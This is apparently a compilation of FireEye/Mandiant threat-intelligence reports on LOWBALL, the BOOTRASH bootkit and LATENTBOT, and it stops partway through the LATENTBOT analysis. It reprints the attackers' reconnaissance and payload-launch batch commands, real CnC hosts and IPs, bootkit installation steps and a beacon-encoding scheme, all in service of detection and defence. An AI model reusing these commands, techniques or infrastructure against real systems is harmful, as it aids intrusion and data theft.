In this report, FireEye Threat Intelligence analysts explore the reconnaissance effort and how the same methods that fuel effective content delivery and e-commerce can potentially allow malicious actors to identify and target victims with pinpoint precision. This is the dark side of web analytics.
Join us for a free webinar!
Pinpointing Targets: Exploiting Web Analytics to
Ensnare Victims
Thurs, Nov. 19, 2015 (11 am ET/8 am PT)
[1] Kaspersky Labs, Symantec, and iSIGHT Partners have reported on campaigns similar, and possibly related to, the activity we describe in this report.
China-based Cyber Threat Group Uses Dropbox for Malware Communications and Targets Hong Kong Media Outlets
FireEye Threat Intelligence analysts identified a spear phishing campaign carried out in August 2015 targeting Hong Kong-based media organizations. A China-based cyber threat group, which FireEye tracks as an uncategorized advanced persistent threat (APT) group and other researchers refer to as “admin@338,” may have conducted the activity.[1] The email messages contained malicious documents with a malware payload called LOWBALL. LOWBALL abuses the Dropbox cloud storage service for command and control (CnC). We collaborated with Dropbox to investigate the threat, and our cooperation revealed what may be a second, similar operation. The attack is part of a trend where threat groups hide malicious activity by communicating with legitimate web services such as social networking and cloud storage sites to foil detection efforts.[2][3]
A Cyber Campaign Likely Intended to Monitor Hong Kong Media During a Period of Crisis
The threat group has previously used newsworthy events as lures to deliver malware.[4] They have largely targeted organizations involved in financial, economic and trade policy, typically using publicly available RATs such as Poison Ivy, as well some non-public backdoors.[5]
The group started targeting Hong Kong media companies, probably in response to political and economic challenges in Hong Kong and China. The threat group’s latest activity coincided with the announcement of criminal charges against democracy activists.[6] During the past 12 months, Chinese authorities have faced several challenges, including large-scale protests in Hong Kong in late 2014, the precipitous decline in the stock market in mid-2015, and the massive industrial explosion in Tianjin in August 2015. In Hong Kong, the pro-democracy movement persists, and the government recently denied a professor a post because of his links to a pro-democracy leader.[7]
Multiple China-based cyber threat groups have targeted international media organizations in the past. The targeting has often focused on Hong Kong-based media, particularly those that publish pro-democracy material. The media organizations targeted with the threat group’s well-crafted Chinese language lure documents are precisely those whose networks Beijing would seek to monitor. Cyber threat groups’ access to the media organization’s networks could potentially provide the government advance warning on upcoming protests, information on pro-democracy group leaders, and insights needed to disrupt activity on the Internet, such as what occurred in mid-2014 when several websites were brought down in denial of service attacks.[8]
Threat Actors Use Spear Phishing Written in Traditional Chinese Script in Attempted Intrusions
In August 2015, the threat actors sent spear phishing emails to a number of Hong Kong-based media organizations, including newspapers, radio, and television. The first email references the creation of a Christian civil society organization to coincide with the anniversary of the 2014 protests in Hong Kong known as the Umbrella Movement. The second email references a Hong Kong University alumni organization that fears votes in a referendum to appoint a Vice-Chancellor will be co-opted by pro-Beijing interests.[9]
Figure 1: Lure Screenshots
The group’s previous activities against financial and policy organizations have largely focused on spear phishing emails written in English, destined for Western audiences. This campaign, however, is clearly designed for those who read the traditional Chinese script commonly used in Hong Kong.
LOWBALL Malware Analysis
The spear phishing emails contained three attachments in total, each of which exploited an older vulnerability in Microsoft Office (CVE-2012-0158):
MD5 | Filename |
b9208a5b0504cb2283b1144fc455eaaa | 使命公民運動 我們的異象.doc |
ec19ed7cddf92984906325da59f75351 | 新聞稿及公佈.doc |
6495b384748188188d09e9d5a0c401a4 | (代發)[采訪通知]港大校友關注組遞信行動.doc |
In all three cases, the payload was the same:
MD5 | Filename |
d76261ba3b624933a6ebb5dd73758db4 | time.exe |
This backdoor, known as LOWBALL, uses the legitimate Dropbox
cloud-storage
service to act as the CnC server. It uses the
Dropbox API with a hardcoded bearer access token and has the ability
to download, upload, and execute files. The communication occurs via
HTTPS over port 443.
After execution, the malware will use the Dropbox API to make an HTTP GET request using HTTPS over TCP port 443 for the files:
MD5 | Filename |
d76261ba3b624933a6ebb5dd73758db4 | WmiApCom |
79b68cdd0044edd4fbf8067b22878644 | WmiApCom.bat |
The “WmiApCom.bat” file is simply used to start “WmiApCom”, which happens to be the exact same file as the one dropped by the malicious Word documents. However, this is most likely meant to be a mechanism to update the compromised host with a new version of the LOWBALL malware.
The threat group monitors its Dropbox account for responses from compromised computers. Once the LOWBALL malware calls back to the Dropbox account, the attackers will create a file called “[COMPUTER_NAME]_upload.bat” which contains commands to be executed on the compromised computer. This batch file is then executed on the target computer, with the results uploaded to the attackers’ Dropbox account in a file named “[COMPUTER_NAME]_download”.
We observed the threat group issue the following commands:
@echo off |
dir c:\ >> %temp%\download |
ipconfig /all >> %temp%\download |
net user >> %temp%\download |
net user /domain >> %temp%\download |
ver >> %temp%\download |
del %0 |
@echo off |
dir "c:\Documents and Settings" >> %temp%\download |
dir "c:\Program Files\ |
" >> %temp%\download |
net start >> %temp%\download |
net localgroup administrator >> %temp%\download |
netstat -ano >> %temp%\download |
These commands allow the threat group to gain information about the compromised computer and the network to which it belongs. Using this information, they can decide to explore further or instruct the compromised computer to download additional malware.
We observed the threat group upload a second stage malware, known as BUBBLEWRAP (also known as Backdoor.APT.FakeWinHTTPHelper) to their Dropbox account along with the following command:
@echo off |
ren "%temp%\upload" audiodg.exe |
start %temp%\audiodg.exe |
dir d:\ >> %temp%\download |
systeminfo >> %temp%\download |
del %0 |
We have previously observed the admin@338 group use BUBBLEWRAP. This particular sample connected to the CnC domain accounts.serveftp[.]com, which resolved to an IP address previously used by the threat group, although the IP had not been used for some time prior to this most recent activity:
MD5 |
|
|
0beb957923df2c885d29a9c1743dd94b | accounts.serveftp.com | 59.188.0.197 |
BUBBLEWRAP is a full-featured backdoor that is set to run when the system boots, and can communicate using HTTP, HTTPS, or a SOCKS proxy. This backdoor collects system information, including the operating system version and hostname, and includes functionality to check, upload, and register plugins that can further enhance its capabilities.
A Second Operation
FireEye works closely with security researchers and industry partners to mitigate cyber threats, and we collaborated with Dropbox to respond to this activity. The Dropbox security team was able to identify this abuse and put countermeasures in place.
Our cooperation uncovered what appears to be a second, ongoing operation, though we lack sufficient evidence to verify if admin@338 is behind it. The attack lifecycle followed the same pattern, though some of the filenames were different, which indicates that there may be multiple versions of the malware. In addition, while the operation targeting Hong Kong-based media involved a smaller number of targets and a limited duration, we suspect this second operation involves up to 50 targets. At this time, we are unable to identify the victims.
In this case, after the payload is delivered via an exploit the threat actor places files (named upload.bat, upload.rar, and period.txt, download.txt or silent.txt) in a directory on a Dropbox account. The malware beacons to this directory using the hardcoded API token and attempts to download these files (which are deleted from the Dropbox account after the download):
- upload.bat, a batch script that the compromised machine will execute
- upload.rar, a RAR archive that contains at least two files: a batch script to execute, and often an executable (sometimes named rar.exe) which the batch script will run and almost always uploads the results of download.rar to the cloud storage account
- silent.txt and period.txt, small files sizes of 0-4 bytes that dictate the frequency to check in with the CnC
The threat actor will then download the results and then delete the files from the cloud storage account.
Conclusion
LOWBALL is an example of malware that abuses cloud storage services to mask its activity from network defenders. The LOWBALL first stage malware allows the group to collect information from victims and then deliver the BUBBLEWRAP second stage malware to their victims after verifying that they are indeed interesting targets.
A version of this article appeared first on the FireEye Intelligence Center . The FireEye Intelligence Center provides access to strategic intelligence, analysis tools, intelligence sharing capabilities, and institutional knowledge based on over 10 years of FireEye and Mandiant experience detecting, responding to and tracking advanced threats. FireEye uses a proprietary intelligence database, along with the expertise of our Threat Intelligence Analysts, to power the Intelligence Center.
[1] FireEye currently tracks this activity as an “uncategorized” group, a cluster of related threat activity about which we lack information to classify with an advanced persistent threat number.
[2] FireEye. Hiding in Plain Sight: FireEye and Microsoft Expose Obfuscation Tactic. https://www2.fireeye.com/rs/fireye/images/APT17_Report.pdf
[3] FireEye. HAMMERTOSS: Stealthy Tactics Define a Russian Cyber Threat Group.
[4] Moran, Ned and Alex Lanstein. FireEye. “Spear Phishing the News Cycle: APT Actors Leverage Interest in the Disappearance of Malaysian Flight MH 370.” 25 March 2014. https://www.fireeye.com/blog/threat-research/2014/03/spear-phishing-the-news-cycle-apt-actors-leverage-interest-in-the-disappearance-of-malaysian-flight-mh-370.html.
[5] Moran, Ned and Thoufique Haq. FireEye. “Know Your Enemy: Tracking a Rapidly Evolving APT Actor.” 31 October 2013. FireEye. Poison Ivy: Assessing Damage and Extracting Intelligence
[6] BBC News. “Hong Kong student leaders charged over Umbrella Movement.’” 27 August 2015. http://www.bbc.com/news/world-asia-china-34070695.
[7] Zhao, Shirley, Joyce Ng, and Gloria Chan. “University of Hong Kong’s council votes 12-8 to reject Johannes Chan’s appointment as pro-vice-chancellor.” 30 September 2015. http://www.scmp.com/news/hong-kong/education-community/article/1862423/surprise-move-chair-university-hong-kong.
[8] Wong, Alan. Pro-Democracy Media Company’s Websites Attacked. “Pro-Democracy Media Company’s Websites Attacked.” New York Times. 18 June 2014. http://sinosphere.blogs.nytimes.com/2014/06/18/pro-democracy-media-companys-websites-attacked/.
[9] “HKU concern group raises proxy fears in key vote.” EIJ Insight. 31 August 2015. http://www.ejinsight.com/20150831-hku-concern-group-raises-proxy-fears-in-key-vote/.
Thriving Beyond The Operating System: Financial Threat Group Targets Volume Boot Record
In September, Mandiant Consulting identified a financially motivated threat group targeting payment card data using sophisticated malware that executes before the operating system boots. This rarely seen technique, referred to as a ‘bootkit’, infects lower-level system components making it very difficult to identify and detect. The malware’s installation location also means it will persist even after re-installing the operating system, widely considered the most effective way to eradicate malware.
We first identified this activity during a recent investigation at an organization in the financial industry. We identified the presence of a financially motivated threat group that we track as FIN1, whose activity at the organization dated back several years. The threat group deployed numerous malicious files and utilities, all of which were part of a malware ecosystem referred to as ‘Nemesis’ by the malware developer(s),[1] and used this malware to access the victim environment and steal cardholder data. FIN1, which may be located in Russia or a Russian-speaking country based on language settings in many of their custom tools, is known for stealing data that is easily monetized from financial services organizations such as banks, credit unions, ATM operations, and financial transaction processing and financial business services companies.
Nemesis, the malware ecosystem used by FIN1, includes comprehensive backdoors that support a variety of network protocols and communication channels for command and control (CnC). It provides a robust set of capabilities, including: file transfer, screen capture, keystroke logging, process injection, process manipulation, and task scheduling. The threat group continually updated the Nemesis malware during their ongoing access to the victim environment, deploying several different variants of the same tools and adding functionality between iterations. In early 2015, FIN1 updated their toolset to include a utility that modifies the legitimate system Volume Boot Record (VBR) and hijacks the system boot process to begin loading Nemesis components before the Windows operating system code. We refer to this utility as BOOTRASH.
A Brief Refresh
On a Windows system, the Master Boot Record (MBR) is critical to the boot process. The MBR stores information about the disk, including the number and layout of any partitions, and a small amount of code used during the boot process.[2] This code searches for the primary active partition, and passes control over to that partition's VBR.[3]
A VBR, on partitioned devices, is located in the first sector of an individual partition. The VBR contains machine code specific to the operating system or program on that partition. For example, in situations where more than one operating system is installed on a computer, each operating system is installed on a separate partition and each partition contains a VBR with instructions on how to start the respective operating system.[4] The VBR instructs the operating system code to begin the boot process, which involves loading the necessary software into memory.
Figure 1 depicts a simplified boot process. The MBR loads the VBR, which loads the operating system code. BOOTRASH hijacks this boot process in order to load the Nemesis payload before the operating system boots.
Figure 1. Simplified normal boot process
BOOTRASH Step by Step
To successfully hijack the boot process, the malware first uses a complex multi-step process to create a custom virtual file system[5] to store the Nemesis components in the unallocated space between partitions. It then hijacks the original VBR by overwriting the bootstrap code with its own malicious code. The bootstrap code calls the Nemesis bootkit, which intercepts certain boot process functions and injects the Nemesis components into the Windows kernel. Following is a description of the installation and hijacking process:
Step 1: System Checks
Prior to installation, the BOOTRASH installer gathers statistics about the system, including the operating system version and architecture. The installer is capable of deploying 32-bit or 64-bit versions of the Nemesis components depending on the system’s processor architecture. The installer will install the bootkit on any hard disk that has a MBR boot partition, regardless of the specific type of hard drive. However, if the partition uses the GUID Partition Table disk architecture, as opposed to the MBR partitioning scheme, the malware will not continue with the installation process.
The malware checks to make sure a copy of the BOOTRASH installer is not already running on the system. It also checks to see if the Microsoft .NET 3.5 framework is installed on the system - a prerequisite for the malware. If the installer is already running or the .NET framework is not installed, the malware will quit.
Step 2: Available Space Calculations & Virtual File System Creation
BOOTRASH creates its own custom virtual file system (VFS) to store the components of the Nemesis ecosystem. The malware performs several calculations to determine the positioning of the file system and whether the system has enough space to fit the file structure.
To determine how much space is needed for the installation, the malware uses Windows Management Instrumentation (WMI) to query the system’s boot disk and partition. The malware then calculates the total size of the 32-bit or 64-bit components to ensure there is enough space for the custom file system in the free space between the system’s partitions.
Step 3: Boot Sector Hijacking
The installer reads the original boot sector into memory and saves an encoded backup copy of the VBR code at 0xE sectors from the start of the partition. Next, the malware applies two algorithms (CRC16-CCITT and MD5) to the original boot sector in order to check its integrity at a later time. With the original boot sector saved, the malware decodes the new bootstrap code from one of its embedded resources and overwrites the existing bootstrap code, effectively hijacking the boot process of the compromised system.
Step 4: Nemesis Component Installation
The installer always uses the virtual file system for saving the three components responsible for creating and installing the bootkit: vbr.bin, vbs.bin, and bootldr.sys. The rest of the components can be either saved in the virtual file system or as binary data within the HKCU.DefaultIdentities registry keys. These components are responsible for the primary C2 functionality of the Nemesis ecosystem that includes: file transfer, screen capture, keystroke logging, process injection, process manipulation, and task scheduling.
Table 1 details the associated registry keys.
Registry Value Name | File Content |
HKCU.DefaultIdentities{3D04DDFA-AE6F-4BC2-9AE6-4A76A471147A} | core.sys |
HKCU.DefaultIdentities{424D9649-5B57-4C9B-A55A-00D6CD382092} | vfs.sys |
HKCU.DefaultIdentities{AA1F2588-670C-450E-833B-C8CAAF26DA5E} | nemesis.sys |
HKCU.DefaultIdentities{95E4F335-E152-4778-B3B0-3422B37B3A3D} | injproxy.dll |
HKCU.DefaultIdentities{C34C01DC-8E9D-40AF-82FF-79DB2735C333} | loader.dll |
HKCU.DefaultIdentities{4EED1600-54C9-471E-B74F-2A88BAC188B4} | nemesis.dll |
HKCU.DefaultIdentities{36203264-DFF1-43AC-94AD-096592297776} | nmscfg.dat |
Table 1: Nemesis components optionally saved as registry values
Step 5: Hijacked Boot Process
As previously discussed, during a normal boot process the MBR loads the VBR, which loads the operating system code. However, during the hijacked boot process, the compromised system’s MBR will attempt to load the boot partition’s VBR, which has been overwritten with the malicious BOOTRASH bootstrap code. This code loads the Nemesis bootkit components from the custom virtual file system. The bootkit then passes control to the original boot sector, which was saved to a different location on disk during the installation process. From this point the boot process continues with the loading and executing of the operating system software. Figure 2 illustrates the hijacked boot process.
Figure 2. Simplified hijacked boot process
The bootkit intercepts several system interrupts to assist with the injection of the primary Nemesis components during the boot process. The bootkit hijacks the BIOS interrupt[6] responsible for miscellaneous system services and patches the associated Interrupt Vector Table entry so it can intercept memory queries once the operating system loader gains control. The bootkit then passes control to the original VBR to allow the boot process to continue. While the operating system is being loaded, the bootkit also intercepts the interrupt and scans the operating system loader memory for a specific instruction that transfers the CPU from real mode to protected mode.[7] This allows the bootkit to patch the Interrupt Descriptor Table each time the CPU changes from real mode to protected mode. This patch involves a modified interrupt handler that redirects control to the bootkit every time a specific address is executed. This is what allows the bootkit to detect and intercept specific points of the operating system loader execution and inject Nemesis components as part of the normal kernel loading.
Uninstall Option
BOOTRASH has a built in option for restoring the original boot sector, in the event that the threat actors wish to remove the hijacking process. This option only restores the original boot sector – it does not remove the custom virtual file system or the backup VBR that was created by BOOTRASH.
Other Bootkits
Malware that persists by compromising the MBR or VBR is unusual, but not unknown. ESET documented their technical research into bootkit malware families such as ‘TDL4’ (also known as ‘Olmarik’), ‘Necurs’, and ‘Rovnix’ in 2011,[8] and cataloged various MBR and VBR infection vectors in 2012.[9]
In addition, there have been reports of financially motivated malware utilizing bootkits. In 2013, RSA warned that a banking Trojan named ‘KINS’ had VBR bootkit functionality and was being advertised on a Russian-speaking online forum[10]. There was also reporting in 2013 that the source code for another banking Trojan, known as ‘Carberp,’ was publicly leaked. Reports stated the Trojan had been sold for $40,000 due to the addition of bootkit functionality[11]. Further reporting indicated the bootkit component might not have been completely operational[12]. Regardless, the high price commanded for the malware is indicative of the bootkit code complexity, as well as the demand for banking malware with this evasive capability.
Not Just a Financial Threat
In 2012, Mandiant observed a suspected China-based, Advanced Persistent Threat (APT) group utilizing a MBR (as opposed to VBR) bootkit that we call ROCKBOOT to establish persistence for backdoors at victim organizations within an industry unrelated to financial services. This group, like many of the threat groups we track, primarily uses more traditional techniques for ensuring their malware remains persistent, such as modifying Windows registry keys or using techniques like DLL search order hijacking. This threat group deployed the bootkit as part of the toolset used to steal intellectual property from the victim organization.
The selective use of bootkits for persistence suggests some threat actors may have access to more sophisticated toolsets. The threat actors may selectively deploy these advanced toolsets when the victim organization is difficult to penetrate or if the targeted data is of high value and the threat actors want to ensure continued access to the compromised environment.
Elevating Detection Capabilities
Bootkits, such as BOOTRASH, are very difficult to detect because they have the potential to be installed and executed almost completely outside of the Windows operating system.[13] Because the malicious boot loader executes before Windows itself is fully loaded, it is not subject to typical operating system integrity checks. The components used to load the malware payload are not scanned by anti-virus software, because they are stored in a VFS outside the Windows file system. In addition, the malware components themselves are stored either in the VFS or the Windows registry – another location not typically scanned by anti-virus. This leaves live memory as the only location where the malware is likely to be detected; and unless the bootkit and VFS components are removed, the malware will execute and load every time the system starts. Wiping the operating system partition and re-installing will not remove the bootkit or VFS components written to unallocated space.
During the investigation with BOOTRASH, we used Mandiant Intelligent Response (MIR), a proprietary host-based technology that provides raw disk access, to look for malware persistence outside of the operating system. This tool allowed us to identify systems that had a modified VBR.
Conclusion
The use of malware that persists outside of the operating system requires a different approach to detection and eradication. Malware with bootkit functionality can be installed and executed almost completely independent of the Windows operating system. As a result, incident responders will need tools that can access and search raw disks at scale for evidence of bootkits. Similarly, re-installing the operating system after a compromise is no longer sufficient. System administrators should perform a complete physical wipe of any systems compromised with a bootkit and then reload the operating system.
Appendix: Associated MD5 Hashes
MD5 Hash | Function |
372f1e4d2d5108bbffc750bb0909fc49 | BOOTRASH dropper |
ac64ef80f8209ae7b67be0be9ea6400e | Windows 7 and later 32-bit modified VBR |
073a2998a6f1ccf0ea89fe60ce4bdeaf | Windows 7 and later 64-bit modified VBR |
c145624f148980ad026ea7b79e61212d | Windows XP 32-bit modified VBR |
472926fe51fc6a4fdf687e8a4de64d78 | Windows XP 64-bit modified VBR |
1c17c92519523a129e9abd298bb78521 | Bootstrap code for systems with NTFS/MBR |
15de35de527ebe2115746b4fd4f1ba1d | 32-bit Boot loader driver |
012e6f3ee70d6558f8002d0efce5c9e0 | 64-bit Boot loader driver |
dd366fcb810594e0620fdf672b03f4d5 | 32-bit Core services driver |
fed12e07499e8cd3a5a47f1f7a8db0be | 64-bit Core services driver |
21cd4a30ac322bfc9bd2401ea17acfc0 | 32-bit Nemesis driver |
76b6dc622264e3ad822a691a7ec68865 | 64-bit Nemesis driver |
d0b9f9bccbc3725bfcc9546986982ff3 | 32-bit VFS driver |
efbff3b08b5d368976eb4675bb4c000f | 64-bit VFS driver |
[1] The name ‘Nemesis’ is referenced in several build paths for the malware.
[2] https://technet.microsoft.com/en-us/library/cc976797.aspx
[3] https://en.wikipedia.org/wiki/Volume_boot_record
[4] http://windows.microsoft.com/en-us/windows/install-multiple-operating-system-multiboot#1TC=windows-7
[5] http://www.malwaretech.com/2014/11/virtual-file-systems-for-beginners.html
[6] A BIOS interrupt is a hardware or software driven condition requiring the interruption of the current code the processor is executing.
[7] Protected mode is an operating state that provides hardware-level protections for a system’s memory. Real mode does not provide this protection support.
[8] http://www.welivesecurity.com/2011/08/23/hasta-la-vista-bootkit-exploiting-the-vbr/
[9] http://www.welivesecurity.com/2012/12/27/win32gapz-new-bootkit-technique/
[10] https://blogs.rsa.com/is-cybercrime-ready-to-crown-a-new-kins-inth3wild/
[11] http://threatpost.com/carberp-source-code-leaked/101070/
[12] http://krebsonsecurity.com/tag/carberp-bootkit/
[13] Malware with bootkit functionality still relies on the operating system to initiate installation. However, the actual payload (the bootkit itself) can be allocated to disk outside of the operating system.
LATENTBOT: Trace Me If You Can
FireEye Labs recently uncovered LATENTBOT, a new, highly obfuscated BOT that has been in the wild since mid-2013. It has managed to leave hardly any traces on the Internet, is capable of watching its victims without ever being noticed, and can even corrupt a hard disk, thus making a PC useless.
Through our Dynamic Threat Intelligence (DTI), we have observed multiple campaigns targeting multiple industries in the United States, United Kingdom, South Korea, Brazil, United Arab Emirates, Singapore, Canada, Peru and Poland – primarily in the financial services and insurance sectors. Although the infection strategy is not new, the final payload dropped – which we named LATENTBOT – caught our attention since it implements several layers of obfuscation, a unique exfiltration mechanism, and has been very successful at infecting multiple organizations.
Some of the main features of LATENTBOT are listed below:
a) Multiple layers of obfuscation
b) Decrypted
strings in memory are removed after being used
c) Hiding
applications in a different desktop
d) MBR wiping
ability
e) Ransomlock similarities such as being able to lock
the desktop
f) Hidden VNC Connection
g) Modular
design, allowing easy updates on victim machines
h) Stealth:
Callback Traffic, APIs, Registry keys and any other indicators are
decrypted dynamically
i) Drops Pony malware as a module to
act as infostealer
LATENTBOT Overview
Stealth being one of its traits, LATENTBOT will only
keep malicious code in memory for the short time that is needed. Most
of the encoded data is found either in the program resources or in the
registry. A custom encryption algorithm is shared across the different
components, including in encrypting its command and control (CnC)
communications. Due to this, its family binaries are detected with a
generic name such as Trojan.Generic:
https://www.virustotal.com/en/file/39af310076282129e6a38ec5bf784ff9305b5a1787446f01c06992b359a19c05/analysis/
LATENTBOT itself is not targeted in nature – it has been
observed in multiple industries – but it is selective in the types of
Windows systems to infect. For example, it won’t run in Windows Vista
or Server 2008. LATENBOT also uses compromised websites as CnC
infrastructure, making infection easier and detection harder.
Based on passive DNS information and similar samples found in
the wild, it is possible that LATENTBOT was created around mid-2013.
Throughout the course of 2015, we observed multiple successful
infection campaigns, as seen in Figure 1.
Figure 1: Targeted Countries and LATENTBOT CnC
Locations
Infection Vector
The preliminary steps to infect victims with LATENTBOT
already contains multiple layers of obfuscation as described in Figure
2: Infection Phase.
Figure 2: Infection Phase
Step 1
Malicious emails containing an old Word exploit are
created with the Microsoft Word Intruder[1] (MWI) builder and sent to the victims.
Step 2
When the attached Word document is opened, an embedded
malicious executable runs, beaconing to the MWISTAT Server (see Figure
3) for two main purposes:
1. Campaign tracking
2. Second stage binary download
Figure 3: MWI Beacon
During our analysis, the Word
documents downloaded LuminosityLink as the second stage binary.
LuminosityLink is a full-featured RAT that has the ability to steal
passwords, record keystrokes, transfer files and activate attached
microphones or webcams.
Step 3
Since LuminosityLink is a RAT that offers multiple
capabilities to fully control the infected box, it is surprising that
the RAT downloaded another payload from a secondary CnC at
emenike[.]no-ip.info (180.74.89.183). This new module is LATENTBOT
which offers new capabilities that will be detailed in this
report.
Dissecting LATENTBOT
The analysis will concentrate on the third stage
LATENTBOT binary lsmm.exe
(af15076a22576f270af0111b93fe6e03) dropped in Step 3 above, but
we are far from the final stage. Another similar binary that was part
of our analysis is aya.exe
(1dd0854a73288e833966fde139ffe385), which performs the same
actions. Let’s take an in-depth look at this interesting piece of
malware.
LATENTBOT is an obfuscated .NET binary, which
contains an encoded resource object. This object is the fourth stage
payload that is decoded using the algorithm seen in Figure 4.
Figure 4: XOR routine to decode
embedded resource
The fourth stage payload is also a .NET binary protected and
obfuscated with ConfuserEx
v0.5.0-10-g6ebeec5.The fourth stage binary will open the .NET
programs: RegAsm.exe and CvTres.exe from
%windir%Microsoft
.NetFrameworkv2.050727 and use process hollowing to replace
them with malicious code in memory.
The CvTres.exe process is replaced with a Visual Basic
UPX-packed binary extracted from the binary’s resources, as seen in
Figure 5.
Figure 5: Process hollowing to
replace the contents of CvTres.exe in memory
The binary creates a registry key for persistence with the hardcoded
binary name dlrznz68mkaa.exe (a copy of the
original aya.exe) at the location shown in
Figure 6:
HKCUSoftwareMicrosoftWindows NTCurrentVersionWindowsload
Figure 6: LATENTBOT persistence
The folder aFwLiiV and
filename dlrznz68mkaa.exe are hardcoded in
the resources section of the Confuser .NET
binaries. Figure 7 shows the resources content from aya_decrypted.exe.
Figure 7: Confuser .NET resources
showing malicious directory and file name
RegAsm.exe will be replaced in
memory with a shellcode loader that opens %windir%system32svchost.exe and uses the same
process hollowing technique to load a second shellcode loader that
eventually will decode and execute a fifth stage Delphi binary in
memory.
At this point, let’s see the new stages
discovered in Figure 8:
Figure 8: The many stages
of LATENTBOT
Figure 9 shows a quick view of one of the decoder
functions inside the second shellcode loader that eventually decrypts
the fifth stage Delphi Binary:
Figure 9: Complex decoder function
Fifth Stage Delphi Binary
This is another launcher that uses the same process
hollowing technique we saw previously to execute the sixth stage
binary in another instance of svchost.exe.
This new binary is encoded in the resources section and decoded at
runtime with the function from Figure 10.
Figure 10: Decoder for sixth
stage binary
The process tree at this point with aya.exe, RegAsm.exe and the two instances of svchost.exe can be seen using the Process Explorer tool in Figure 11, with the sixth stage being suspended:
Figure 11: Multiple Injections View
Sixth Stage Delphi Binary
The sixth stage is highly obfuscated; multiple encoded
strings can bee seen which represent API function names, CnC IP,
POST/GET parameters, HTTP headers, processes names, and so on, all of
which are decrypted at runtime.
First the malware will
performs several validations. If the Windows OS version is 6.0
(Windows Vista, Windows Server 2008) or if the malware’s parent
process is not svchost.exe or explorer.exe (see Figure 12) then it will
exit.
Running Out of Battery?
If LATENTBOT is running on a laptop, it will query the
battery status via GetSystemPowerStatus and
if the battery is running Low or Critical, it will call SetThreadExecutionState try to prevent the system
from sleeping or turning the display off.
Figure 12: Processes names
decrypted to be validated
Is the BOT_Engine plugin installed?
Now LATENTBOT will check if its plugins are already
downloaded by querying the registry key below which should contain
subkeys with the encrypted modules:
HKCUSoftwareGoogleUpdatenetworksecure
If plugins are found, LATENTBOT will proceed to load
BOT_ENGINE, which is the main module (described in more detail below).
Otherwise, it will download the required plugins from a CnC server as
explained in the next section.
Data Exfiltration
If the plugins were not found, LATENTBOT will proceed to
download them, but it will first validate that the connection to the
CnC server is alive by making the TTP request shown in Figure
13:
Figure 13: LATENTBOT initial beacon
LATENTBOT then verifyies that the HTTP response is one
of the following:
• 200: The requested resource was
found
• 302: Found but in a different URI (Redirection)
• 307: Similar to 302
If none of the valid HTTP
responses shown above are received, it will try to connect again every
20 seconds indeterminately.
Assuming a valid HTTP
response was received, LATENTBOT will proceed to generate a beacon.
First, the URI is generated based on information from the infected
host; two examples are shown below:
forum?datael=US-20-503634784811&ver=4006&os=2&acs=0&x64=0&gr=load-1.7.1.20&random=wopvrudsks
forum?datael=US-70-347126827175&ver=4006&os=5&acs=0&x64=0&gr=load-1.7.1.20&random=dbvcwhctdn
Where:
• All the GET parameters are decoded at
runtime. For example, tgsz0D decodes to
&gr.
• datael:
<locale>-<OS_Version>-<random_number>, where
<OS_Version> is one of the
following:
o 10 = Windows 2000 (5.0)
o 20 =
Windows XP (5.1)
o 30 = Windows XP 64-Bit, Windows Server
2003/R (5.2)
o 40 = Windows Vista, Windows 2008
(6.0)
o 70 = Windows 7, Windows Server 2008 R2
(6.1)
o 80 = Windows 8, Windows Server 2012
o
90 = Windows 8.1, Windows Server 2012 R2
• random and the <random_number> used by datael are set
dynamically. For random, 10 characters are
randomly selected from the buffer abcdefghijklmnopqrstuvxyz.
datael randomly selects 12 integers from
the buffer 0123456789012345678912345678. The seed is
initialized with the Delphi function Randomize()and the Delphi
Random() function is called on each loop iteration, making
the callback different on each request.
o Note: The
<random_number> is stored in the
following registry key (created at runtime): HKCUSoftwareAdobeAdobe Acrobatdata
• os: Windows OS Major version, using the same codes as
OS_Version above.
• acs: possible
values are 1 or 0. 1 is used if the malware is running under SYSTEM
privileges.
• x64: flag identifying the OS
architecture.
• The ver and gr parameter values are
hardcoded.
Then the URI is encoded using a three steps
algorithm. The following will describe each step:
Step 1: Custom substitution routine
This routine substitutes valid URI characters using
custom hardcoded lookup tables, depending on the usage
(encoding/decoding) different lookup tables are used. Figure 14 shows
the lookup table used during the decoding phase:
Figure 14: Decoding lookup table
This routine encodes/decodes one WORD at a time, each byte is
shifted right or left depending on the need (encoding/decoding) with a
specific value depending on the byte position as shown in Table
1:
Table 1: Shift values
The result is added after each shift, as shown in Figure 15.
The substituted data is passed to the XOR modifier shown in Figure
15:
Figure 15: XOR Modifier routine
Note: For encoding, depending on a parameter, the substitution
routine can choose from three different lookup tables; for this
sample, only one lookup table was used every time.
Step 2: XOR Modifier
The substituted data is passed is passed ot the XOR modifier shown in Figure 16.
Figure 16: XOR Modifier routine
Different XOR modifiers are used as shown in Table 2:
Table 2: XOR modifier
The same XOR modifier algorithm has been used by
iBanking/TauSpy Android malware[2].
Step 3:
Base64 encoding
The resulting encoded URI is then base64 encoded.
The whole algorithm can be expressed as follows:
Encryption:
encoded_uri =
base64_encode(substitute (xor_modifier(modifier, plain_text_uri)))
Decryption:
plain_text_uri = xor_modifier(modifier,
substitute(base64_decode(encoded_uri)))
By applying the
substitution and XOR algorithms described above to the original
URI:
forum?datael=US-20-503634784811&ver=4006&os=2&acs=&x64=0&gr=load-1.7.1.20&random=wopvrudsks
we get the following encoded URI:
Adl7k+v9qQGCaZti0LS9v++uFb6axeFE2twthNT9s3K6/oG0xjQS2Gqk+Udja91kch3nwphGANCtdr83tXSAaLJEi/qmG3xmKKPwR8lFncN9i93yfHRxFQ2EBC
This URI is transformed with standard Base64 encoding,
resulting in:
QWRsN2srdjlxUUdDYVp0aTBMUzl2Kyt1RmI2YXhlRkUydHd0aE5UOXMzSzYvb0cweGpRUzJHcWsrVWRqYTkxa2NoM253cGhHQU5DdGRyODN0WFNBYUxKRWkvcW1HM3htS0tQd1I4bEZuY045aTkzeWZIUnhGUTJFQkM=
Which finally is used to send the beacon shown in Figure
17:
Figure 17: Fully encoded LATENTBOT beacon
The CnC replies with:
MDVvWVc2K3J5ZGV4ZlNyM0lycjQ5TFhkSnBmZWJTbms1Zkx0aEQzNWxqaFlqVS9XczN4MTNqV1RQOWtHWUF1ZERidzdkR0ZOdjI1UHAzT1pYcktBM2l5OGlWU04zMjByZDExOFNVREdObDk3QjdPNWtQUjhBU05jcjVybXR1Mkg=
The decoded URI yields:
mod:http://46.165.246.234/m/:Bot_Engine-A35CB08FB078051B27894BCD380EAC43-229376-018701-881384-8;
Which is actually the name of a module (Bot_Engine, and a unique ID) to be downloaded
later during execution.
Downloading
the Plugins
At this point, LATENTBOT is ready to start downloading
